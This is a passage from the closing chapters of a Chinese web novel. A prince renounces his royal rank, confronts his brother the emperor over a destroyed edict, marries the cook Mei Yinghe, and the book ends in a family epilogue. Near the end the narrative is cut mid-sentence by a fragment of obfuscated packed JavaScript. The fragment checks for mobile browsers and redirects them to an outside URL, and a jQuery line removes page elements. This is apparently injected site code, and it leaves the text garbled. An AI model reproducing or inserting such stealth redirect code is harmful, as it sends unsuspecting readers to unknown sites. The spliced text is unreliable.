“今日此举,若你是朕,你会相信吗。”赵怀风怒道,“你手中把持重兵,那是父皇交付予你的不错,可是你从未想过要将兵权交还给朕。” 既然摊牌,赵怀风亦是毫无保留,“你以为朕不知道吗,你虽不与朝臣相与,可是他们当中又有多少人是拥护你只认你的,若是有一日你振臂高呼,这些人必定唯你马首是瞻,朕不得不防,大隶再经不起那样的内乱了。” 言之凿凿,字字句句好似都在为百姓为江山考虑。 赵行之笑了,“为何皇兄会有如此假设,为何皇兄就一定认定我会夺了你的皇位。” 赵怀风不语,灯火将帝王的影子投射在屏风之上,看上去苍老颓废了许多。 赵行之踱步至赵怀风面前,“皇兄不说我来说。” 那一刻赵怀风的眸中亮起惊诧的光,瞳仁中火光跃动。 “是因为父皇曾经下过一个诏书,本是立我为太子,而日夜照顾父皇的皇兄你知道了有这个诏书的存在便赶在我见到父皇之前,将诏书损毁,父皇弥留之际我都未曾见过他老人家最后一面,是你,以种种理由推脱,只为不要让我知道那诏书的实情。” “之后你又擅自改了父皇的圣旨,自己坐上了大位。” 赵行之鄙视着自己的兄长,“是与不是。” 赵怀风有些不敢相信,当年的诏书只经过他一个人的手,也是他亲手损毁的,赵行之不可能看得到。 “你究竟是如何知道的。”赵怀风怎么都想不通,非要逼问。 赵行之仰天长啸,“那封诏书是老师亲手书写,皇兄怎么也不想一想,父皇都已经病得坐不起来了,又是如何能够写诏书呢,必是有人代笔,而那个人便是父皇遗嘱的见证人。” 许且,赵怀风懊悔,早就觉得这个许且不同寻常,怎么就把他给忘了。 “那,你又是为……”后面的话问不出口,赵怀风的眼神却是迫切的。 “皇兄是想问我,为什么不当场揭穿你的谎言,有许且做证皇位势必是我的。” 赵行之苦笑,“那时候我天真地以为爹娘已逝,这世上唯有我们兄弟二人相依为命,既然皇兄想做皇帝那便我退出,我让给皇兄,因为皇兄是我唯一的家人了。” 赵怀风泪流满面,面部表情扭曲到变形,“不可能,你故意如此说就是为了让朕后悔。” “是,我相信皇兄,我信你会是一个好皇帝,会让我安安稳稳过一生,可是我错了。”赵行之摇头,“我放弃的妥协的都是我太天真,受惠的人,皇兄你根本不懂得感激,反而……” 他声音哽咽,声嘶力竭,“反而三番五次要杀了我。” 那些年他的纠结、彷徨和无助导致夜夜睡不着,日日都在想,究竟为什么他做到了这种地步,皇兄仍旧不愿放过他。 这个问题让他恍惚了许多年,从一个意气风发阳光开朗的少年变成了少言寡语胡思乱想的人。 他讨厌自己的变化,也痛恨皇兄的背叛。 “如今你要如何。”赵怀风已然疯魔,狂暴地问:“你是想杀了朕夺走这本该属于你的皇位吗。” 见他不语,赵怀风威胁道:“你是有铁甲军,可是你别忘了,朕也不是一无所有,你若是敢夺走这皇位,朕就让你此生再也见不到你心爱的人。” “皇兄。”赵行之呵斥住他,“赵怀风,你若是敢动梅映禾一根手指,我赵行之就是做这天下的恶人也要将你拉下马。” 92. 火锅烤串儿 大殿内灯影幢幢,赵行之丢盔弃甲,连长剑都被丢在一旁,双膝跪在御座之下。 帝王佝偻着脊背,颤抖着亲自研磨润笔,红着眼看了看挺身跪着的弟弟,张了张嘴欲言又止。 终究是一声叹息之后,落笔成书。 草草几行字,交付了这一世的兄弟情,自此便再无瓜葛。 这是一炷香前赵行之所求之事。 “从此脱离皇家,再与这姓氏家族无关。我亦不再是晋王而是一个普通的寻常百姓。”赵行之交了身份脱了族籍呈上兵符。 “只求一事,望陛下亲立字据还向立岩全家清白,从此不再纠缠梅映禾。” 赵怀风难以置信,“只为了一个女子,你若当真不愿,皇兄不再逼她就是,何至于此。” 赵行之抬头看他,眼神坚定而决绝,“晚了,不止为此,我不想解释,还望陛下成全。” 他改了称呼冷了眼神跪地磕头。 “罢了罢了。”赵怀风擦拭泪水,“莫要再磕了,朕依你便是。” 陛下亲笔立的字据盖了私印无可抵赖,交到赵行之手里的时候,他原本冷肃的眉眼变得温暖柔和起来,看着看着竟露出笑颜。 “你当真不会后悔。”赵怀风企图劝说。 赵行之只珍视地看着那字纸不语。 “君子无悔,你当真如此记恨朕吗。” 顷刻间帝王仿佛苍老了许多,赵怀风抬头去看自己的弟弟,曾经熟悉的眉眼现在看起来格外陌生,“云策,你会记恨朕吗。” 这是帝王问出的最后一句话,望着赵行之的背影,倔强地想要一个答案。 赵行之顿住脚步回头看他,明黄色的龙袍在烛灯的笼罩下压上暗影,不甚明亮。 “不会。”他说,言语间尽显轻松自在。 “真的吗,朕不信。”赵怀风穷追不舍,“那你为何非要至此。” “我不会恨你,因为我根本就不会记得你。” 这是弟弟留下的最后一句话,自此兄弟情断,天涯海角是路人。 东方既白,赵行之赶到芳华阁的时候梅映禾正静静地等着他,她知道,他一定会来的。 “我用这里的米熬了粥。”梅映禾端起刚好放凉的白粥递给他,“你也饿了吧,吃一些,我放了一些糖能补充体力。” 赵行之接过慢慢喝下,梅映禾为他重新梳理了长发束起并除去金冠,用一根树枝代替。 “你怎么知道。”赵行之问,他还什么都没说。 梅映禾笑:“你这身衣裳就看出来了。” 他穿着一身素白的中衣,除去华服金靴更显俊逸。 “回去我亲手给你做几身衣裳鞋子。”梅映禾挽着他的手,二人肩并肩慢慢迎着朝阳朝宫门口走去。 “好啊,我想要穿鲜亮一些的颜色。” “好。”梅映禾点头,“宝蓝色好不好,显气色。” “你说好就好。” “翡翠绿也好看,还有枣红色。” “成,都依你。” …… 暖阳从云层里露出头,温暖撒向大地,将二人的身影罩出一圈金灿灿的光影。 “殿下,殿下慢些。” 身后似乎有人在呼喊,二人回头。 赵頻披散着头发,外裳也没穿还打着赤脚,正站在二人身后,圆圆的小脸上挂着硕大的泪珠,一双大眼睛哭得通红。 “你们,不要走。” 小娃泣不成声,被赵行之抱起的时候两只小手死死攥住他的衣襟不撒手。 “我不要你们走,小王叔不要走好不好。” 小殿下很聪明,一眼就明白发生了什么。 赵行之将小娃搂在怀里,轻轻拍着他的脊背安抚道:“頻儿是大孩子了,是大隶的太子殿下了,不能动不动就哭鼻子。小王叔有自己的生活,是小王叔最喜欢最向往的生活,頻儿不祝福小王叔吗。” 赵頻停止了抽泣,好似听懂了又好似没懂,忽闪着大眼睛看着他。 “那我以后还能看到小王叔吗?” 梅映禾替他擦了擦泪水,“自然能,殿下若是想吃好吃的尽管去云来酒楼,民女给您做。你的小王叔也会在那里,什么时候想见到都能见到。” 赵頻的小手这才松了松,垂眸想了想又问,“那我以后还能叫你小王叔吗。” “殿下是太子,该有未来天子的样子。”赵行之道,“草民不敢僭越,但是草民视殿下为亲近之人,所以殿下可直呼草民云策。” “像个大人像个朋友一样,叫小王叔的小字吗。”小娃瞪着大眼睛露出几分兴奋。 赵行之点了点头,“是,像个大人一样,像朋友一样。” “小王叔将我当成朋友了。”赵頻再次确认,腮边挂着泪水却是笑得灿烂。 “自然,是最好的朋友。”赵行之点头。 “是救命之恩的朋友。”梅映禾补充。 “愿殿下日后成为一位明君。” “我会的。” 三人伸出手握在一起,山高水远来日方长。 出了皇城,赵行之最后看了一眼那熟悉的地方,拉着梅映禾头也不回地冲进了市井街巷。 今日起他终于自由了。 “宫里头的人估计这会儿已经到了晋王府,我先回去整理。” 在街边吃了一碗热气腾腾的馄饨,赵行之道:“我无家可归了。” 既然已是庶人自然不能再享受皇亲国戚的待遇,府宅是先帝御赐自然要归还,兵权也已经交了,府兵家仆也要散去,还有那些零零碎碎的东西,得好生整理一番。 梅映禾点头,“先去买身衣裳穿着,你再回去忙,晚上我给你做顿好吃的庆祝,以后跟我混就要听我的咯。” “自然,小人唯命是从。”赵行之做了一个抱拳的动作,笑得眉眼弯弯。 从未见他这样笑过,梅映禾竟看愣了,原来他笑起来是这样温柔的人呀。 “那以后还叫你七哥。”梅映禾想了想问,“名字你打算改成什么。” 赵行之想都没想,道:“不打算改,就叫云策。这小字还是……” 他停顿了片刻似在犹豫,而后缓缓道:“是向将军为我起的。” 哦,梅映禾点头,她的父亲给他起了小字,这便是缘分吧。 看着她若有所思的样子,云策试探地问:“关于那些事我没有对你说是因为……” “是因为你傻。”梅映禾接话道,“你想要自己去找陛下替我父亲全家讨还清白,还担心连累我 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“不可。”云策抬起头看着他和佑安,“我是我你们是你们,你是将帅的材料当好好保家卫国,不可轻言辞官。这是你父亲的期望和遗愿,也是向将军的心愿。” 梅九筹沉默片刻点头道:“是,好,那我就和佑安继续当兵,争取做大官做将军,替王爷守护大隶的江山和百姓。” 佑安看到自家王爷笑了,多少年了,都不曾见到他脸上有这样真挚灿烂的笑容了。 看来王爷是真的欢喜啊,值了。 傍晚时分,宫里头的人收回了宅子和地契房契,云策带着佑安和梅九筹这才回梅家。 远远就闻到了香味,梅九筹一下就猜到是小早的手艺。 许且迎出来,笑道:“老夫也辞了官,如今是个吃闲饭的老头子,也就是这门房的活计还能干。” 大家一阵玩笑,气氛十分热闹。 文明修和魏默来了,还带来了贺礼。 沈聪和五娘子也来了,五娘子也有了身孕,正和小梅交流心得。 铺子里的人都来了,周大厨非要去后厨帮忙被梅映禾撵出来,“别想偷学我的手艺,独家秘笈概不外传。” 周大厨笑嘻嘻地跑到院子里去张罗着烤串儿。 梅映禾做了火锅,准备了许多涮菜,从天上到地下再到水里一应俱全,还凭着记忆仿照某捞煞有介事地备了十八种调味料,并让阿十将几种最出名的口味调味方法写出来贴上。 “最爱吃小早做的热锅子了。” “配上烤串儿,简直人间美味,神仙来了都不走。” “今日给云策庆祝,以后咱们的日子都会一帆风顺大吉大利。” “对,大家一起好好经营酒楼,咱们多开几家店,不必什么都强。” “对对,再开新店算我一份。” “我也要出资当股东。” “你小屁孩有银子吗。” “当然有。” …… 大家七嘴八舌吃得热火朝天,畅想着美好的共同的未来。 还别说,梅映禾脑子里还真是生出了开分店甚至更大的想法。 转头看向云策,想同他分享自己的计划,却见他好像有话说,一副欲言又止的样子。 93. 大结局 “锅子里放点儿辣,我家小梅爱吃。” “再来点儿醋,小梅也爱吃。” “烤串儿给我,我要。” “给小九和拾一拾二点儿肉吃。” “来,咱们干杯干杯。” “咦,小早和云策去哪里了?” …… 红红火火,热热闹闹。 这才是梅家院子里应有的景象。 梅映禾望着大家吵吵嚷嚷,心里暖暖的。再看一眼旁边欲言又止的七哥,悄悄掩嘴笑了笑,将他拉到一旁。 池边清静,将所有的热闹当成了背景,迎面便是又大又圆的月亮,银盘似的挂在天边。 “七哥有什么话不妨直说。”梅映禾转头看他,歪着脑袋笑盈盈的。 云策张了张嘴又看了看不远处大家的欢乐,总觉得这个时候应当让小早高兴些,这些日子她受了委屈,难得放松一下,那些话还是不说了吧。 见他迟疑不开口,梅映禾扑哧笑出声,“七哥。” 小娘子拉住他的胳膊,将脑袋轻轻靠在他臂膀上撒娇,“经历了这些事我们之间没有什么不可说的,对不对。” 云策默默点头。 “但是。”梅映禾抬起头看着他,正色道:“你现在不是赵行之,应当同过去告别。所以,纠结犹豫的毛病也要改掉。” 云策愣了一下,再次默默点头。 “不要跟我说你现在什么都不是,什么都没有。”梅映禾开口,声音变得温柔起来,“这样的我们刚好相配,我好容易没了压力,你可不能再妄自菲薄。” 原来她都看出来了,云策觉得很惭愧。 他的确又犯了纠结多思的老毛病,小早说得没错,他怕现在的自己给不了她想要的生活,怕她受委屈。 可是她是小早啊,勇敢又独立的小早,所以她不需要啊。 “我们有手有脚,想要什么可以自己争取,我是,你也是。”梅映禾很坚定。 云策抿了抿唇,重重点了点头,“是,是我又胡思乱想了,早儿,以后不会了。” 梅映禾笑逐颜开,想了想,凑近些,又问:“那,七哥现在可有什么想做的事。” 月色下,小娘子的面容温柔如水,白皙的面颊上似乎染上一层红晕,清澈的眸子给了云策最大的力量。 “我想成亲。” 这是他一直以来想说的话,终于说出口了。 梅映禾笑了,“我也想。” “我们都想。”身后传来大家异口同声的欢呼声。 墨色的天空中,彩烟直冲云霄,在最高处骤然绽放,绚烂的焰火点亮了天空,姹紫嫣红。 * 接下来的日子,梅映禾忙着将许且和赵行之搜集好的资料整理成册,托文明修送到了御案之上。 文明修已经辞去了户部的差事,现在是御史言官。 向立岩一家被冤的案子在众多朝臣的合力支持中,得以平反。 圣旨下到梅家小院的那一日,天上下着淅淅沥沥的小雨。 已至隆冬,天寒地冻格外清冷。 梅映禾抱着爹娘的牌位跪在雨里,一身素白面色肃然。 宣旨官将圣旨递到她手上的时候,梅映禾笑着流泪,“多谢。” 她感谢所有为爹娘平反努力过的人,谢谢这世间还有人心存正义。 “向娘子,这是陛下赐给娘子的宅子。”宣旨官将新宅子的房契交到她手上,“陛下说,这是向将军应得的,也是陛下对向娘子的补偿,万望娘子莫要挂怀才好。” 梅映禾没有接那房契,只道:“托公公给陛下带句话,陛下的心意我向云早心领了,宅子就不要了,先帝赐给我父亲的向将军府的宅子,多年前就有人替我买了下来,那才是我的家。” 那是云策悄悄买了下来,现在已经物归原主了。 小雨清冷,浇灌着大地,寒风拂面吹起小娘子鬓边的发丝。 “阿爹,阿娘,大哥二哥,小早来看你们了。” 梅映禾亲自选了坟冢的位置,将爹娘和两个哥哥郑重下葬并立了碑。 “旁边就是梅副将和珍娘他们夫妻,还有义父给自己留的地方。”梅映禾抹去脸上的泪水,“你们在一处做个伴,才不会孤单。” 许且烧了一把纸,幽幽道:“向立岩,帮我照顾好我夫人和孩子们,等着老朽跟你团聚。再见面吧,我也能对你有个交代了。” 说完,拉过一旁跪着的云策,道:“看看,你们的女婿,赵行之记得吧,老向这是你当年看好的少年,缘分啊,现在云策是你的女婿了,再不是那披着皇皮的人了,咱们小早是个有福气的。” 刚硬的汉子被说得面红耳赤,忙磕头道:“向将军,向夫人,我会对小早好的,一辈子照顾她守护她陪着她,你们放心,绝不会让她受一丁点儿的委屈,还请你们允许我入赘。” 梅映禾也磕头,恳求,“爹爹,娘亲,若是你们同意他入赘,便……” 她看了一眼周围,好似没找到什么合适的东西,想了想道:“便让这雨停下吧。” 云策:…… 许且:…… 众人:…… 这是不是有点儿强人所难了。 可是话说出口收不回了,梅映禾咬了咬唇拉着云策齐齐祝祷磕头。 郑重其事,所以心诚则灵。 二人重新抬头睁开眼的时候,小雨真的止住了。 云破日出,灰蒙蒙的天边被一束灿烂的阳光撕开一道裂缝,耀眼的日光如利剑般直射下来。 “他们这是同意了。” 婚礼举办得十分热闹隆重,云策拿出了全部家当作聘礼。 做了二十多年的小王爷,私底还是有一些的,虽说是入赘可是他仍旧将自己的全部积攒和盘托出,足足有一大整箱。 “怎么这么多。”梅映禾惊呆了,望着眼前大箱子里厚厚的房契地契和银票,难以相信。 “都是这些年积攒的。”他不爱买东西,对于纨绔子弟喜欢的那些一概没兴趣,这些年就没怎么花过银子,虽说晋王府的财产被收回,可是那些属于他私人的赏赐之物都换成了这一箱子的东西。 “不过,这些房契地契在京城的不多。”他跟小早解释,“这些年出征在外,几乎走遍了大隶的河山和城镇,觉得喜欢的地方就买了下来,幻想着有一日可以卸下盔甲归隐田园。” 他一个一个指给小早看,“有景致极好的庄子,也有繁华热闹的小镇上的铺子,还有村落里的宅子,都不大,所以看着多其实不怎么值钱。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024276|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >梅映禾欣喜若狂,“这样的话,我们可以出去走走,每到一处就在当地开铺子,我要把云来酒楼的分店开遍大隶,以后咱们去任何地方都有家,都可以住在当地生活,这可是我最向往的日子了。” “好,都依你,夫人说了算。” 喜房的红烛下,二人深情对视。 熟悉的味道,面红耳赤地悸动。 原来小早的嘴啊是这样软软的,湿湿的,含着春水的眸子闪烁着,云策看到了映入深处的温柔和渴望。 “可以吗。”他的声音沙哑紧绷。 小早点头,轻轻抿唇,“轻一些。” “嗯。” 身上的重量一点一点抬起,小早紧张地食指扣进了男人遒劲的腰上,指甲陷入肉里,她已经无法呼吸了。 “疼吗。”男人似乎犹豫了。 小娘子本能地点点头,骤然想起什么又赶快摇摇头,怯怯地问:“我忘记学习了,是不是都是这样的。” 云策快速地眨了眨眼,他也只是草草地看了一眼,究竟是不是这样的,不知道。 “没关系,七哥,你继续,我忍一忍。”小早咬唇闭上了眼。 云策鼓起勇气刚打算再试一次,小早的眼偷偷睁开一条小缝,弱弱地问:“七哥,你是,会的吧。” 啊,是啊,会的,男人不都无师自通吗。 “放心吧,七哥不会让你疼的。” …… 所以,洞房花烛夜,二人相拥而眠,未果。 真是一生失败的污点。 第二日一早云策起身直奔军营去找梅九筹。 两个孩子的爹了,一定很懂。 …… 一年后,梅九筹的一对龙凤胎满一周岁,全家上下举行了十分隆重的抓周仪式。 面对满屋子的东西,两个小娃高兴得手舞足蹈,小眼睛都快瞧不过来了。 在大家的注视下,小侄子虎头虎脑直奔云策的长剑爬过去,伸出小手摸了摸剑鞘上的宝石,一下子扑上去就啃。 “这长剑可是你姑丈的心爱之物。”梅九筹高兴地哈哈直笑,“咱们梅家又要出一位大将军啦,好,好极了。” “那这长剑姑丈就送给你了。”云策笑着抱起小侄子,“长大了姑丈教你习武,像你阿爹一样做个大英雄。” 小娃高兴地抱着他的脸又是一阵狂啃。 大家再看磨磨蹭蹭的小侄女,到底是女孩子,做事情仔细又不慌不忙,左看看右看看,最后竟然拿起了小早的锅铲子。 小梅一把将孩子抱到小早面前,“得,咱们家的手艺后继有人了,以后这俩孩子就交给姑母和姑丈了,一个学武一个学厨,咱们把你们姑母姑丈的本事都学到手。” 小娃高兴地哈哈大笑,小早想抱孩子,无奈自己已经身怀六甲,肚子又大又沉实在不方便抱,这才作罢。 “是吧,太遗憾了。”赵頻在一旁撅噘嘴,“我好久没吃到小婶婶做的饭菜了,自从小婶婶肚子里有了小宝贝,小叔就再不许她下厨房了,我都馋了。” 太子殿下现在已然成了云来酒楼和向宅的常客,真如二人许他的一般,想见面的时候随时都能见到…… 青山绿水,鸟语花香,灿烂的阳光洒向大地,一切都欣欣向荣、明媚美好。